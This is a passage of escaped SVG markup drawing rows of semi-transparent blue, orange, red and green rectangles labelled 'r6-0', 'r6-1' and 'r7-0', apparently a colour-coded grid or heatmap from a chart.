width=\"13.819999999999993\" x=\"459.89999999999986\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"475.21999999999986\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"490.53999999999985\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"505.85999999999984\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"521.1799999999998\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"536.4999999999998\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"551.8199999999998\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"567.1399999999999\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"582.4599999999998\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"597.7799999999997\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"613.0999999999998\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"628.4199999999998\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"643.7399999999999\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"659.06\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"674.38\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"689.7\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"705.0200000000001\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"720.3400000000001\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"735.6600000000002\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"750.9800000000002\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"766.3000000000003\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"781.6200000000003\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"796.9400000000004\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"812.2600000000004\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"827.5800000000005\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"842.9000000000005\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"858.2200000000006\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"873.5400000000006\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"888.8600000000007\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"904.1800000000007\" y=\"167.43125\"></rect><g transform=\"translate(127.0,186.02187500000002)\"><text style=\"fill:rgb(16.1%,15.3%,14.1%);fill-opacity:1.0;font-family:helvetica;font-size:11.0px;font-weight:normal;stroke:none;vertical-align:baseline;white-space:pre\" x=\"-9.779\" y=\"2.8104999999999993\">r6-0</text></g><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"153.5\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"168.82\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"184.14\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"199.45999999999998\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"214.77999999999997\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"230.09999999999997\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"245.41999999999996\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"260.73999999999995\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"276.05999999999995\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"291.37999999999994\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"306.69999999999993\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"322.0199999999999\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"337.3399999999999\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"352.6599999999999\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"367.9799999999999\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"383.2999999999999\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"398.6199999999999\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"413.9399999999999\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"429.2599999999999\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"444.57999999999987\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"459.89999999999986\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"475.21999999999986\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"490.53999999999985\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"505.85999999999984\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"521.1799999999998\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"536.4999999999998\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"551.8199999999998\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"567.1399999999999\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"582.4599999999998\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"597.7799999999997\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"613.0999999999998\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"628.4199999999998\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"643.7399999999999\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"659.06\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"674.38\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"689.7\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"705.0200000000001\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"720.3400000000001\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"735.6600000000002\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"750.9800000000002\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"766.3000000000003\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"781.6200000000003\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"796.9400000000004\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"812.2600000000004\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"827.5800000000005\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"842.9000000000005\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"858.2200000000006\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"873.5400000000006\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"888.8600000000007\" y=\"180.32500000000002\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"904.1800000000007\" y=\"180.32500000000002\"></rect><g transform=\"translate(127.0,198.91562500000003)\"><text style=\"fill:rgb(16.1%,15.3%,14.1%);fill-opacity:1.0;font-family:helvetica;font-size:11.0px;font-weight:normal;stroke:none;vertical-align:baseline;white-space:pre\" x=\"-9.779\" y=\"2.8104999999999993\">r6-1</text></g><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"153.5\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"168.82\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"184.14\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"199.45999999999998\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"214.77999999999997\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"230.09999999999997\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"245.41999999999996\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"260.73999999999995\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"276.05999999999995\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"291.37999999999994\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"306.69999999999993\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"322.0199999999999\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"337.3399999999999\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"352.6599999999999\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"367.9799999999999\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"383.2999999999999\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"398.6199999999999\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"413.9399999999999\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"429.2599999999999\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"444.57999999999987\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"459.89999999999986\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"475.21999999999986\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"490.53999999999985\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"505.85999999999984\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"521.1799999999998\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"536.4999999999998\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"551.8199999999998\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"567.1399999999999\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"582.4599999999998\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"597.7799999999997\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"613.0999999999998\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"628.4199999999998\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"643.7399999999999\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"659.06\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"674.38\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"689.7\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"705.0200000000001\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"720.3400000000001\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"735.6600000000002\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"750.9800000000002\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"766.3000000000003\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"781.6200000000003\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"796.9400000000004\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"812.2600000000004\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"827.5800000000005\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"842.9000000000005\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"858.2200000000006\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"873.5400000000006\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"888.8600000000007\" y=\"193.21875000000003\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"904.1800000000007\" y=\"193.21875000000003\"></rect><g transform=\"translate(127.0,211.80937500000005)\"><text style=\"fill:rgb(16.1%,15.3%,14.1%);fill-opacity:1.0;font-family:helvetica;font-size:11.0px;font-weight:normal;stroke:none;vertical-align:baseline;white-space:pre\" x=\"-9.779\" y=\"2.8104999999999993\">r7-0</text></g><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"153.5\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"168.82\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"184.14\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"199.45999999999998\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"214.77999999999997\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"230.09999999999997\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"245.41999999999996\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"260.73999999999995\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"276.05999999999995\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"291.37999999999994\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"306.69999999999993\" 